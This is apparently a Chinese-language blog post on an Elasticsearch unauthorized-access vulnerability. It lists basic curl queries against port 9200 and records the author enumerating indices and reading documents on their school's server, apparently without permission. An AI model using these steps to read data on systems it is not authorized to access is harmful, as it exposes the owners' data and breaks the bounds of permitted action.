Elasticsearch未授权访问漏洞

最近在拿自己学校练手,发现了一个Elasticsearch未授权访问漏洞,然后就边学习边去尝试利用这个漏洞。

Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。

基础知识

要利用这个漏洞,最重要的就是查看数据,下面是elasticsearch基本的查询方法

2.1 查询所有的 index, type: 
$ curl localhost:9200/_search?pretty=true
2.2 查询某个index下所有的type: 
$ curl localhost:9200/films/_search
2.3 查询某个index 下, 某个 type下所有的记录: 
$ curl localhost:9200/films/md/_search?pretty=true
2.4 带有参数的查询:  
$ curl localhost:9200/films/md/_search?q=tag:good 
{
          
   "took":7,"timed_out":false,"_shards":{
          
   "total":5,"successful":5,"failed":0},"hits":{
          
   "total":2,"max_score":1.0,"hits":[{
          
   "_index":"film","_type":"md","_id":"2","_score":1.0, "_source" : 
{
          
    "name":"hei yi ren", "tag": "good"}},{
          
   "_index":"film","_type":"md","_id":"1","_score":0.30685282, "_source" : 
{
          
    "name":"ma da jia si jia", "tag": "good"}}]}}
2.5 使用JSON参数的查询: (注意 query 和 term 关键字) 
$ curl localhost:9200/film/_search -d  
{"query" : { "term": { "tag":"bad"}}}

实战记录

1,直接访问该ip的9200端口,如下: 2,http://ip:9200/_cat/indices获取所有的index 3,http://ip:9200/_mapping?pretty=true 获取index下的所有type 4,http://ip:9200/pv_fun_all/school/_search?pretty=true 获取该index下该type下的内容 很显然这里并没有什么重要的数据,不过技术掌握了就好!

elasticsearch的基本用法:

经验分享 程序员 微信小程序 职场和发展